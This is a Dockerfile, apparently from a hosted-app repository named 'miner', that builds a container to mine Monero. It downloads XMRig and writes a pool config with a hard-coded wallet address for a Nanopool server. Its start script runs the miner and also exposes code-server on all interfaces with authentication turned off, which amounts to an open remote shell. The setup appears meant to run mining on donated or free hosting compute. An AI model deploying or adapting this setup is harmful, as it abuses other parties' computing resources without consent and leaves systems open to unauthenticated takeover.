miner / Dockerfile
luluhacker's picture
Update Dockerfile
9fc1bc4 verified
# Use the latest Ubuntu image
FROM ubuntu:latest
# Set environment variables to avoid interactive prompts during installation
ENV DEBIAN_FRONTEND=noninteractive
# Install dependencies
RUN apt-get update && apt-get install -y \
curl \
tar \
dnsutils \
&& rm -rf /var/lib/apt/lists/*
# Download and install XMRig
RUN curl -L -o xmrig.tar.gz https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz \
&& tar -xzf xmrig.tar.gz \
&& rm xmrig.tar.gz
# Install code-server
RUN curl -fsSL https://code-server.dev/install.sh | sh
# Create XMRig configuration file
RUN mkdir -p /xmrig-6.22.0 \
&& tee /xmrig-6.22.0/config.json > /dev/null <<EOF
{
"autosave": true,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"coin": "monero",
"url": "xmr-asia1.nanopool.org:14433",
"user": "48b34XQDp2d9d1neAiriFs4UHomjcDwmuUWPNMBNhwLh8yqG7TXyUjcXxXzJdWL8JcH4kSPeZYKNpPm2GATm6N5SUEU1HTi",
"tls": true
}
]
}
EOF
# Create and set up the start script
RUN echo '#!/bin/bash\n\
\n\
# Test DNS resolution\n\
nslookup xmr-asia1.nanopool.org\n\
\n\
# Start XMRig in the foreground\n\
/xmrig-6.22.0/xmrig --config /xmrig-6.22.0/config.json\n\
\n\
# Start code-server in the background\n\
code-server --bind-addr 0.0.0.0:7860 --auth none &' > /start.sh \
&& chmod +x /start.sh \
&& chmod u+rwx /start.sh
# Set the working directory
WORKDIR /xmrig-6.22.0
# Expose necessary ports
EXPOSE 3333 7860
# Run the startup script
CMD ["/start.sh"]